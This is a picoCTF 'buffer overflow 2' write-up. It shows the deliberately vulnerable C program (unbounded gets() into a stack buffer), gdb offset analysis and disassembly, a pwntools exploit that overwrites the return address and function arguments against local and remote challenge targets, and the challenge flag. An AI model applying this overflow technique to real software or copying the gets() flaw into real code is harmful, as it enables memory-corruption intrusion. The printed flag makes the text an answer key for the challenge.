buffer overflow 2
*  
binary  
picoctf

Control the return address and arguments
Source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}

void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);

puts("Please enter your string: ");
vuln();
return 0;
}
To get the flag I had to:
-overwrite the return address
I generated a pattern using https://wiremask.eu/tools/buffer-overflow-pattern-generator/? then used gdb to see the value inside EIP after the overflow
 EAX  0xc9
 EBX  0x35644134 ('4Ad5')
 ECX  0xf7e2b9b4 (_IO_stdfile_1_lock) ◂— 0
 EDX  1
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0xffffd054 —▸ 0xffffd220 ◂— '/home/cheepsss/Documents/picoctf/buffer overflow 2/vuln'
 EBP  0x41366441 ('Ad6A')
 ESP  0xffffcf70 ◂— '8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag'
 EIP  0x64413764 ('d7Ad')


===> 112 letters of padding
To find the value of win function I used info functions
0x08049290  frame_dummy
0x08049296  win
0x08049338  vuln
0x08049372  main
0x080493f0  __libc_csu_init
0x08049460  __libc_csu_fini
0x08049465  __x86.get_pc_thunk.bp

The code to run win function:
def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"string: \n"))
payload = b'A' * 112 +b'\x96\x92\x04\x08'
p.sendline(payload)
p.interactive()



-overwrite the arg1 and arg2 parameters
I added extra characters to the payload
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08Aa0Aa1Aa2Aa3Aa4
Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9A
d0Ad1Ad2A" > in
To see the address of those parameters I disassembled win function.
The cmp instructions show exactly where those value should be on the stack
   0x0804930c <+118>:    cmp    DWORD PTR [ebp+0x8],0xcafef00d
   0x08049313 <+125>:    jne    0x804932f <win+153>
   0x08049315 <+127>:    cmp    DWORD PTR [ebp+0xc],0xf00df00d
   0x0804931c <+134>:    jne    0x8049332 <win+156>
To get their values:
pwndbg> x/x $ebp+0xc
0xffffcf78:    0x33614132
pwndbg> x/x $ebp+0x8
0xffffcf74:    0x61413161



and the other one is 4.
This meant that I had to add 4 bytes of padding then the cafef00d and f00df00d values.
The final code for both local and remote exploitation:
from pwn import *
# if (arg1 != 0xCAFEF00D)
# return;
# if (arg2 != 0xF00DF00D)
context.update(arch='i386', os='linux')

def loc():
binary = './vuln'
p = process(binary)
print(p.recvuntil(b"string: \n"))
payload = b'A' * 112 +b'\x96\x92\x04\x08'+b'AAAA'+b'\x0d\xf0\xfe\xca'+b'\x0d\xf0\x0d\xf0'
p.sendline(payload)
p.interactive()

def rem():
r = remote("saturn.picoctf.net",62839)
print(r.recvuntil(b"string: \n"))
payload = b'A' * 112 +b'\x96\x92\x04\x08'+b'AAAA'+b'\x0d\xf0\xfe\xca'+b'\x0d\xf0\x0d\xf0'
r.sendline(payload)
r.interactive()
print(r.recvline())

rem()

python3 script.py
[+] Opening connection to saturn.picoctf.net on port 62839: Done
b'Please enter your string: \n'
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xfe\xcaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x0AAAA
$ picoCTF{argum3nt5_4_d4yZ_3c04eab0}[*] Got EOF while reading in interactive


picoCTF{argum3nt5_4_d4yZ_3c04eab0}